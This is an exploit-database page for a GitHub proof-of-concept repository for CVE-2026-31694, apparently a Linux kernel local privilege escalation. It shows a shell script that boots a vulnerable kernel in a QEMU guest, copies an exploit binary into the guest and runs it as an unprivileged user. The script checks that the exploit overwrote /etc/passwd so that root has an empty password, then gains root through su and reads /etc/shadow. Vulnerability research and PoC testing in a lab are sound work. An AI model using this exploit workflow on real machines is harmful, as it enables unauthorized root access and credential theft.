Exploit database

GH-0b0dc07be547d95c4326d06b71a40f6e

0xcyberstan/cve-2026-31694-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-31694

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files6
0xcyberstan/cve-2026-31694-pocRevision 08e4cd6cc946

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

vm/run_in_vm.sh

Shell · 2,207 bytes
#!/bin/bash
# Run the PoC end-to-end: boot the guest, provision it, copy the exploit, run
# the marker PoC and the LPE, and verify uid 0. Needs the vulnerable kernel
# (vm/build_vuln_kernel.sh) and the rootfs (vm/make_rootfs.sh) built first.
set -euo pipefail
HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"; . "$HERE/config.sh"

echo "== [1] kernel + rootfs =="
[ -f "$BZIMAGE" ] || { echo "build the kernel first: vm/build_vuln_kernel.sh"; exit 1; }
[ -f "$ROOTFS" ]  || { echo "build the rootfs first: sudo vm/make_rootfs.sh"; exit 1; }
[ -f "$OVERLAY" ] || qemu-img create -f qcow2 -b "$ROOTFS" -F qcow2 "$OVERLAY" >/dev/null
echo "   kernel:  $BZIMAGE"
echo "   rootfs:  $ROOTFS"

echo "== [2] boot guest (if needed) =="
if ! vm_ssh true 2>/dev/null; then
    : > "$SERIAL"
    nohup "$HERE/run_vm.sh" >/dev/null 2>&1 &
    echo -n "   waiting for ssh"
    for i in $(seq 1 90); do
        if vm_ssh true 2>/dev/null; then echo " up"; break; fi
        echo -n "."; sleep 2
        [ "$i" = 90 ] && { echo " FAILED"; tail -20 "$SERIAL"; exit 1; }
    done
fi
echo "   guest: $(vm_ssh 'uname -r') / $(vm_ssh 'cat /proc/cmdline')"

echo "== [3] provision guest =="
vm_scp "$HERE/provision_guest.sh" "[email protected]:/tmp/provision_guest.sh" >/dev/null
vm_sudo "bash /tmp/provision_guest.sh" | sed 's/^/   /'

echo "== [4] build + copy exploit =="
make -C "$REPO_DIR" >/dev/null 2>&1
vm_scp "$REPO_DIR/exploit" "[email protected]:/home/$VM_USER/exploit" >/dev/null
echo "   $(vm_ssh "ls -l /home/$VM_USER/exploit")"

echo "== [5] marker PoC (--poc) as unprivileged $VM_USER =="
vm_ssh "/home/$VM_USER/exploit --poc -n 20" | grep -E "drain|===|/20" | tail -6

echo "== [6] full LPE + verify uid 0 =="
vm_sudo "cp /etc/passwd.orig /etc/passwd"
echo "   passwd before: $(vm_ssh 'head -1 /etc/passwd')"
vm_ssh "timeout 280 /home/$VM_USER/exploit < /dev/null" | grep -E "Warmup:|HIT!|/etc/passwd:|empty password" | sed 's/^/   /'
echo "   passwd after:  $(vm_ssh 'head -1 /etc/passwd')"
echo "   --- root check (empty-password su) ---"
vm_ssh "id; echo '' | su -s /bin/sh -c 'echo GOT uid=\$(id -u); head -1 /etc/shadow' root" | sed 's/^/   /'

echo ""
echo "stop the VM:  pkill -f bzImage-fuse-vuln"